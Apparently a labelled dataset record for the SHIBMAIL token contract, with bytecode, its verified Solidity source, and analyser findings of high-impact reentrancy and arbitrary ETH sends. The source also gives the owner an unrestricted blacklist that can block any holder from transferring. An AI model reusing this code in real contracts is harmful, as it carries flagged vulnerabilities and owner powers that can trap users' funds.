111156118ee57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061196f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196690613098565b60405180910390fd5b601e4261197c919061328e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119cb306107a5565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a785750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae4576003600a819055506009600b819055505b601160159054906101000a900460ff16158015611b4f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b675750601160169054906101000a900460ff165b15611c7557673782dace9d900000821115611b8157600080fd5b42600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990613098565b60405180910390fd5b607842611c0f919061328e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5b81611f07565b60004790506000811115611c7357611c7247611d9e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d1e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d2857600090505b611d34848484846122c6565b50505050565b6000838311158290611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d799190612fd6565b60405180910390fd5b5060008385611d91919061336f565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dee60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e19573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6a60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e95573d6000803e3d6000fd5b5050565b6000600854821115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613018565b60405180910390fd5b6000611eea6122f3565b9050611eff818461227c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f935781602001602082028036833780820191505090505b5090503081600081518110611fd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561207357600080fd5b505afa158015612087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ab9190612a68565b816001815181106120e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214c30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611312565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121b0959493929190613173565b600060405180830381600087803b1580156121ca57600080fd5b505af11580156121de573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156122145760009050612276565b600082846122229190613315565b905082848261223191906132e4565b14612271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612268906130b8565b60405180910390fd5b809150505b92915050565b60006122be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b806122d4576122d3612381565b5b6122df8484846123c4565b806122ed576122ec61258f565b5b50505050565b60008060006123006125a3565b91509150612317818361227c90919063ffffffff16565b9250505090565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c9190612fd6565b60405180910390fd5b506000838561237491906132e4565b9050809150509392505050565b6000600a5414801561239557506000600b54145b1561239f576123c2565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806123d687612605565b95509550955095509550955061243486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251581612715565b61251f84836127d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161257c9190613158565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506125d9683635c9adc5dea0000060085461227c90919063ffffffff16565b8210156125f857600854683635c9adc5dea00000935093505050612601565b81819350935050505b9091565b60008060008060008060008060006126228a600a54600b5461280c565b92509250925060006126326122f3565b905060008060006126458e8787876128a2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3a565b905092915050565b60008082846126c6919061328e565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290613058565b60405180910390fd5b8091505092915050565b600061271f6122f3565b90506000612736828461220190919063ffffffff16565b905061278a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e78260085461266d90919063ffffffff16565b600881905550612802816009546126b790919063ffffffff16565b6009819055505050565b600080600080612838606461282a888a61220190919063ffffffff16565b61227c90919063ffffffff16565b905060006128626064612854888b61220190919063ffffffff16565b61227c90919063ffffffff16565b9050600061288b8261287d858c61266d90919063ffffffff16565b61266d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128bb858961220190919063ffffffff16565b905060006128d2868961220190919063ffffffff16565b905060006128e9878961220190919063ffffffff16565b9050600061291282612904858761266d90919063ffffffff16565b61266d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061293e6129398461320d565b6131e8565b9050808382526020820190508285602086028201111561295d57600080fd5b60005b8581101561298d57816129738882612997565b845260208401935060208301925050600181019050612960565b5050509392505050565b6000813590506129a681613822565b92915050565b6000815190506129bb81613822565b92915050565b600082601f8301126129d257600080fd5b81356129e284826020860161292b565b91505092915050565b6000813590506129fa81613839565b92915050565b600081519050612a0f81613839565b92915050565b600081359050612a2481613850565b92915050565b600081519050612a3981613850565b92915050565b600060208284031215612a5157600080fd5b6000612a5f84828501612997565b91505092915050565b600060208284031215612a7a57600080fd5b6000612a88848285016129ac565b91505092915050565b60008060408385031215612aa457600080fd5b6000612ab285828601612997565b9250506020612ac385828601612997565b9150509250929050565b600080600060608486031215612ae257600080fd5b6000612af086828701612997565b9350506020612b0186828701612997565b9250506040612b1286828701612a15565b9150509250925092565b60008060408385031215612b2f57600080fd5b6000612b3d85828601612997565b9250506020612b4e85828601612a15565b9150509250929050565b600060208284031215612b6a57600080fd5b600082013567ffffffffffffffff811115612b8457600080fd5b612b90848285016129c1565b91505092915050565b600060208284031215612bab57600080fd5b6000612bb9848285016129eb565b91505092915050565b600060208284031215612bd457600080fd5b6000612be284828501612a00565b91505092915050565b600060208284031215612bfd57600080fd5b6000612c0b84828501612a15565b91505092915050565b600080600060608486031215612c2957600080fd5b6000612c3786828701612a2a565b9350506020612c4886828701612a2a565b9250506040612c5986828701612a2a565b9150509250925092565b6000612c6f8383612c7b565b60208301905092915050565b612c84816133a3565b82525050565b612c93816133a3565b82525050565b6000612ca482613249565b612cae818561326c565b9350612cb983613239565b8060005b83811015612cea578151612cd18882612c63565b9750612cdc8361325f565b925050600181019050612cbd565b5085935050505092915050565b612d00816133b5565b82525050565b612d0f816133f8565b82525050565b6000612d2082613254565b612d2a818561327d565b9350612d3a81856020860161340a565b612d4381613544565b840191505092915050565b6000612d5b60238361327d565b9150612d6682613555565b604082019050919050565b6000612d7e602a8361327d565b9150612d89826135a4565b604082019050919050565b6000612da160228361327d565b9150612dac826135f3565b604082019050919050565b6000612dc4601b8361327d565b9150612dcf82613642565b602082019050919050565b6000612de7601d8361327d565b9150612df28261366b565b602082019050919050565b6000612e0a60088361327d565b9150612e1582613694565b602082019050919050565b6000612e2d60218361327d565b9150612e38826136bd565b604082019050919050565b6000612e5060208361327d565b9150612e5b8261370c565b602082019050919050565b6000612e7360298361327d565b9150612e7e82613735565b604082019050919050565b6000612e9660258361327d565b9150612ea182613784565b604082019050919050565b6000612eb960248361327d565b9150612ec4826137d3565b604082019050919050565b612ed8816133e1565b82525050565b612ee7816133eb565b82525050565b6000602082019050612f026000830184612c8a565b92915050565b6000604082019050612f1d6000830185612c8a565b612f2a6020830184612c8a565b9392505050565b6000604082019050612f466000830185612c8a565b612f536020830184612ecf565b9392505050565b600060c082019050612f6f6000830189612c8a565b612f7c6020830188612ecf565b612f896040830187612d06565b612f966060830186612d06565b612fa36080830185612c8a565b612fb060a0830184612ecf565b979650505050505050565b6000602082019050612fd06000830184612cf7565b92915050565b60006020820190508181036000830152612ff08184612d15565b905092915050565b6000602082019050818103600083015261301181612d4e565b9050919050565b6000602082019050818103600083015261303181612d71565b9050919050565b6000602082019050818103600083015261305181612d94565b9050919050565b6000602082019050818103600083015261307181612db7565b9050919050565b6000602082019050818103600083015261309181612dda565b9050919050565b600060208201905081810360008301526130b181612dfd565b9050919050565b600060208201905081810360008301526130d181612e20565b9050919050565b600060208201905081810360008301526130f181612e43565b9050919050565b6000602082019050818103600083015261311181612e66565b9050919050565b6000602082019050818103600083015261313181612e89565b9050919050565b6000602082019050818103600083015261315181612eac565b9050919050565b600060208201905061316d6000830184612ecf565b92915050565b600060a0820190506131886000830188612ecf565b6131956020830187612d06565b81810360408301526131a78186612c99565b90506131b66060830185612c8a565b6131c36080830184612ecf565b9695505050505050565b60006020820190506131e26000830184612ede565b92915050565b60006131f2613203565b90506131fe828261343d565b919050565b6000604051905090565b600067ffffffffffffffff82111561322857613227613515565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613299826133e1565b91506132a4836133e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132d9576132d86134b7565b5b828201905092915050565b60006132ef826133e1565b91506132fa836133e1565b92508261330a576133096134e6565b5b828204905092915050565b6000613320826133e1565b915061332b836133e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613364576133636134b7565b5b828202905092915050565b600061337a826133e1565b9150613385836133e1565b925082821015613398576133976134b7565b5b828203905092915050565b60006133ae826133c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613403826133e1565b9050919050565b60005b8381101561342857808201518184015260208101905061340d565b83811115613437576000848401525b50505050565b61344682613544565b810181811067ffffffffffffffff8211171561346557613464613515565b5b80604052505050565b6000613479826133e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ac576134ab6134b7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f436f6f6c646f776e000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61382b816133a3565b811461383657600080fd5b50565b613842816133b5565b811461384d57600080fd5b50565b613859816133e1565b811461386457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220735a80e20ddaa6040a82dce7d427def0d4c9b27ac74f6646c0408622928af70764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,779
0x2cb86e3e147f0379599fdccbb5f5fa98ce9aa826
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ // SPDX-License-Identifier: Unlicensed /* Telegram: https://t.me/shibmail Website: https://shibmail.services/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBMAIL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHIBMAIL"; string private constant _symbol = "SHIBMAIL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 3; uint256 private _taxFeeJeets = 8; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xe216d29fef0F88216a54D1819506D5bEBD0002dC); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e10 * 10**9; uint256 public _maxWalletSize = 1e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function startContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e6 * 10**9); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610630578063e0f9f6a014610676578063ea1644d514610696578063f2fde38b146106b6578063fe72c3c1146106d657600080fd5b806395d89b41146102355780639ec350ed146105b05780639f131571146105d0578063a9059cbb146105f0578063c55284901461061057600080fd5b80637c519ffb116100f25780637c519ffb146105315780637d1db4a514610546578063881dce601461055c5780638da5cb5b1461057c5780638f9a55c01461059a57600080fd5b806370a08231146104c6578063715018a6146104e657806374010ece146104fb578063790ca4131461051b57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104465780635fb02f4d146104665780636b9cf5341461047b5780636d8aa8f8146104915780636fc3eaec146104b157600080fd5b8063313ce567146103aa57806333251a0b146103c657806338eea22d146103e657806349bd5a5e146104065780634bf2c7c91461042657600080fd5b806318160ddd116101f857806318160ddd1461031657806323b872dd1461033c57806327c8f8351461035c57806328bb665a146103725780632fd689e31461039457600080fd5b806306fdde0314610235578063095ea7b3146102755780630f3a325f146102a55780631694505e146102de57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082018252600881526714d212509350525360c21b6020820152905161026c9190612191565b60405180910390f35b34801561028157600080fd5b5061029561029036600461203c565b6106ec565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c0366004611f88565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561032257600080fd5b50683635c9adc5dea000005b60405190815260200161026c565b34801561034857600080fd5b50610295610357366004611ffb565b610703565b34801561036857600080fd5b506102fe61dead81565b34801561037e57600080fd5b5061039261038d366004612068565b61076c565b005b3480156103a057600080fd5b5061032e601d5481565b3480156103b657600080fd5b506040516009815260200161026c565b3480156103d257600080fd5b506103926103e1366004611f8856